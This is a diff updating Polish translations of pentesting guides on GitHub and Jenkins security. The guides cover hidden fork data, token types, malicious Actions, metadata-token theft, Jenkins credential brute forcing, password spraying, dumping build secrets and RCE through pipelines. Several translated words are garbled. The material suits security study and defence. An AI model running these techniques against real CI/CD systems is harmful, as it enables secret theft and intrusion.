-1. Tworzysz prywatne repozytorium, które ostatecznie stanie się publiczne.
-2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i zatwierdzasz dodatkowy kod dla funkcji, które nie zamierzasz udostępniać publicznie.
-3. Upubliczniasz swoje repozytorium "upstream" i zachowujesz swój fork jako prywatny.
+1. Tworzysz prywatne repozytorium, które ostatecznie zostanie udostępnione publicznie.
+2. Tworzysz prywatną, wewnętrzną wersję tego repozytorium (poprzez forkowanie) i wprowadzasz dodatkowy kod dla funkcji, które nie będą publiczne.
+3. Udostępniasz swoje repozytorium "upstream" publicznie i zachowujesz swój fork prywatnie.
> [!CAUTION]
> Możliwe jest uzyskanie dostępu do wszystkich danych przesłanych do wewnętrznego forka w czasie między utworzeniem wewnętrznego forka a udostępnieniem publicznej wersji.
-## How to discover commits from deleted/hidden forks
+## Jak odkryć commity z usuniętych/ukrytych forków
Ten sam wpis na blogu proponuje 2 opcje:
-### Directly accessing the commit
+### Bezpośredni dostęp do commita
-Jeśli znana jest wartość ID zatwierdzenia (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com///commit/`
+Jeśli znana jest wartość ID commita (sha-1), możliwe jest uzyskanie do niego dostępu pod adresem `https://github.com///commit/`
-### Brute-forcing short SHA-1 values
+### Bruteforce'owanie krótkich wartości SHA-1
Dostęp do obu z nich jest taki sam:
@@ -49,7 +49,7 @@ Dostęp do obu z nich jest taki sam:
A ten ostatni używa krótkiego sha-1, który można złamać.
-## References
+## Odnośniki
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 2a28ca317..733f03038 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,11 +4,11 @@
## Podstawowa struktura
-Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
+Podstawowa struktura środowiska github w dużej **firmie** polega na posiadaniu **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
-Z punktu widzenia użytkownika, **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
+Z punktu widzenia użytkownika **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
-Ponadto, użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
+Ponadto użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
@@ -23,8 +23,8 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
W organizacji użytkownicy mogą mieć różne role:
-- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w twojej organizacji.
-- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie, członkowie organizacji **mają szereg uprawnień**.
+- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie mniej niż dla dwóch osób w twojej organizacji.
+- **Członkowie organizacji**: Domyślną, nieadministracyjną rolą dla **osób w organizacji** jest członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**.
- **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności.
- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji.
@@ -44,7 +44,7 @@ Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków or
- Czy możliwe jest forkowanie repozytoriów.
- Czy możliwe jest zapraszanie zewnętrznych współpracowników.
- Czy publiczne lub prywatne strony mogą być publikowane.
-- Uprawnienia, jakie mają administratorzy do repozytoriów.
+- Uprawnienia, jakie mają administratorzy nad repozytoriami.
- Czy członkowie mogą tworzyć nowe zespoły.
### Role w repozytorium
@@ -77,7 +77,7 @@ Github oferuje różne sposoby uwierzytelniania do twojego konta i wykonywania d
### Dostęp przez sieć
-Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasła** (oraz **potencjalnie 2FA**).
+Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasło** (oraz **potencjalnie 2FA**).
### **Klucze SSH**
@@ -85,32 +85,32 @@ Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, po
#### **Klucze GPG**
-Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujności tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujnym tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Osobiste tokeny dostępu**
-Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu, **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Aplikacje Oauth
-Aplikacje Oauth mogą prosić o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
+Aplikacje Oauth mogą prosić cię o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
- Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers)
- Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications)
- Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_
+- Możesz zobaczyć dostęp aplikacji trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_
Kilka **zalecenia dotyczące bezpieczeństwa**:
-- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów.
+- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownikowi) i mieć dostęp tylko do określonych zakresów.
- Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika.
-- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_ repozytoriach uwierzytelnionego użytkownika**.
+- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika.
- **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu.
- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Aplikacje Github
-Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić, do jakich repozytoriów aplikacja będzie miała dostęp.
+Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić repozytoria, do których aplikacja będzie miała dostęp.
- Aby zainstalować aplikację GitHub, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium.
- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
@@ -121,18 +121,18 @@ Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich i
Kilka zaleceń dotyczących bezpieczeństwa:
-- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz użyć tokenów dostępu, które wygasną po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**.
- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
-- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik.
-- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
+- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może zrobić użytkownik.
+- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może użyć [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
- Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić.
- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłyby zostać przeprowadzone **różne ataki**. Zobacz poniżej więcej informacji.
+To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji.
## Akcje Git
@@ -142,7 +142,7 @@ Akcje Git pozwalają na automatyzację **wykonywania kodu, gdy wystąpi zdarzeni
W _https://github.com/organizations/\/settings/actions_ można sprawdzić **konfigurację akcji github** dla organizacji.
-Możliwe jest całkowite zablokowanie użycia akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
+Możliwe jest całkowite zabronienie używania akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do uruchomienia akcji Github** oraz **uprawnienia GITHUB_TOKEN** akcji Github, gdy jest uruchamiana.
@@ -170,7 +170,7 @@ example-command "$SUPER_SECRET"
> [!WARNING]
> Sekrety **mogą być dostępne tylko z Github Actions**, które je zadeklarowały.
-> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli tylko **je zmieniać**.
+> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli jedynie **je zmienić**.
Dlatego **jedynym sposobem na kradzież sekretów githuba jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w tym scenariuszu będziesz mógł uzyskać dostęp tylko do sekretów zadeklarowanych dla tej Akcji).
@@ -184,7 +184,7 @@ runs-on: ubuntu-latest
environment: env_name
```
Możesz skonfigurować środowisko, aby było **dostępne** dla **wszystkich gałęzi** (domyślnie), **tylko chronionych** gałęzi lub **określić**, które gałęzie mogą uzyskać do niego dostęp.\
-Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas**, zanim pozwoli się na kontynuację wdrożeń.
+Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas** przed pozwoleniem na kontynuację wdrożeń.
### Git Action Runner
@@ -196,24 +196,24 @@ Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://git
Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github.
-**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy.
+**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy runner.
Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna.
### Git Action Compromise
-Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **kompromituje** **kontener**, w którym jest wykonywana.
+Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **skomprymuje** **kontener**, w którym jest wykonywana.
> [!CAUTION]
-> Uruchomiona **złośliwa Akcja Github** mogłaby być **nadużywana** przez atakującego do:
+> Uruchomiona **złośliwa Akcja Github** mogłaby być **wykorzystana** przez atakującego do:
>
> - **Kraść wszystkie sekrety**, do których Akcja ma dostęp
-> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie przez usługę metadanych)
-> - **Nadużywać token** używany przez **workflow**, aby **ukraść kod repozytorium**, w którym Akcja jest wykonywana lub **nawet go zmodyfikować**.
+> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych)
+> - **Wykorzystać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**.
-## Branch Protections
+## Ochrona gałęzi
-Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
+Ochrona gałęzi jest zaprojektowana, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
**Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\/\/settings/branches_
@@ -222,12 +222,12 @@ Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repoz
Różne ochrony mogą być stosowane do gałęzi (jak do master):
-- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to jest wybrane, mogą być wprowadzone różne inne ochrony:
+- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to zostanie wybrane, mogą być wprowadzone różne inne ochrony:
- **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu.
- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić.
- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić)
- **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów.
-- **Pozwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
+- **Zezwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
- **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów).
- **Wymagaj rozwiązania rozmowy przed scaleniem**. Wszystkie komentarze dotyczące kodu muszą być rozwiązane przed scaleniem PR.
- **Wymagaj podpisanych commitów**. Commity muszą być podpisane.
@@ -236,9 +236,9 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
- **Ogranicz, kto może przesyłać do pasujących gałęzi**. Ogranicz, kto może wysłać PR.
> [!NOTE]
-> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master** na przykład, aby skompromitować pipeline CI/CD.
+> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master**, na przykład, aby skompromitować pipeline CI/CD.
-## References
+## Odniesienia
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index cb33a88b1..0944ffce9 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -4,7 +4,7 @@
## Podstawowe informacje
-Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
+Jenkins to narzędzie, które oferuje prostą metodę do ustanowienia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
{{#ref}}
basic-jenkins-information.md
@@ -26,7 +26,7 @@ Możesz być w stanie uzyskać wersję Jenkins z ścieżki _**/oops**_ lub _**/e
.png>)
-### Znane Luki
+### Znane luki
{{#ref}}
https://github.com/gquere/pwn_jenkins
@@ -42,7 +42,7 @@ basic-jenkins-information.md
### Rejestracja
-Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do niego. Tak prosto.**
+Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do nich. Tak prosto.**
### **Logowanie SSO**
@@ -58,15 +58,15 @@ msf> use auxiliary/scanner/http/jenkins_login
Użyj [tego skryptu python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [tego skryptu powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
-### Ominięcie białej listy IP
+### IP Whitelisting Bypass
-Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM SaaS**, głównie w celu uruchamiania zadań w pipeline.
+Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM opartych na SaaS**, głównie w celu uruchamiania zadań w pipeline.
Aby to osiągnąć, organizacje **dodają do białej listy** **zakresy IP** **platform SCM**, zezwalając im na dostęp do **wewnętrznego systemu CI** za pośrednictwem **webhooków**. Ważne jest jednak, aby zauważyć, że **każdy** może założyć **konto** na GitHubie lub GitLabie i skonfigurować je do **uruchamiania webhooka**, potencjalnie wysyłając żądania do **wewnętrznego systemu CI**.
Sprawdź: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-## Wewnętrzne nadużycia Jenkins
+## Internal Jenkins Abuses
W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa.
@@ -79,13 +79,13 @@ Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
basic-jenkins-information.md
{{#endref}}
-### Lista użytkowników
+### Listing users
-Jeśli uzyskałeś dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Jeśli uzyskałeś dostęp do Jenkinsa, możesz wylistować innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
-### Zrzucanie buildów w celu znalezienia jawnych sekretów
+### Dumping builds to find cleartext secrets
-Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli buildów i zmienne środowiskowe buildów, aby mieć nadzieję na znalezienie jawnych sekretów.
+Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli budowy i zmienne środowiskowe budowy, aby mieć nadzieję na znalezienie tajemnic w postaci tekstu jawnego.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
@@ -97,7 +97,7 @@ Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/
.png>)
-Zazwyczaj znajdziesz poświadczenia ssh Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
+Zazwyczaj znajdziesz poświadczenia SSH Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
### **RCE w Jenkins**
@@ -107,7 +107,7 @@ Domyślnie Jenkins będzie **działał jako SYSTEM**. Tak więc, skompromitowani
### **RCE Tworzenie/Modyfikowanie projektu**
-Tworzenie/Modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
+Tworzenie/modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
@@ -141,8 +141,8 @@ Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.
Możliwe jest również **przechowywanie plików konfiguracyjnych pipeline w innych miejscach** (na przykład w innych repozytoriach) w celu **oddzielenia** dostępu do repozytorium i dostępu do pipeline.
-Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł **zmodyfikować** go i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
-Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdź lub nie).
+Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł go **zmodyfikować** i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
+Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdźne lub nie).
Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
@@ -151,7 +151,7 @@ Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
- **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób
> [!NOTE]
-> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to wykorzystując**.
+> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomplikować firmy, po prostu to eksploatując**.
### RCE Pipeline
@@ -159,7 +159,7 @@ W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikuj
### Sprawdzanie zmiennych środowiskowych
-Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:**
+Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfile:**
```bash
pipeline {
agent {label 'built-in'}
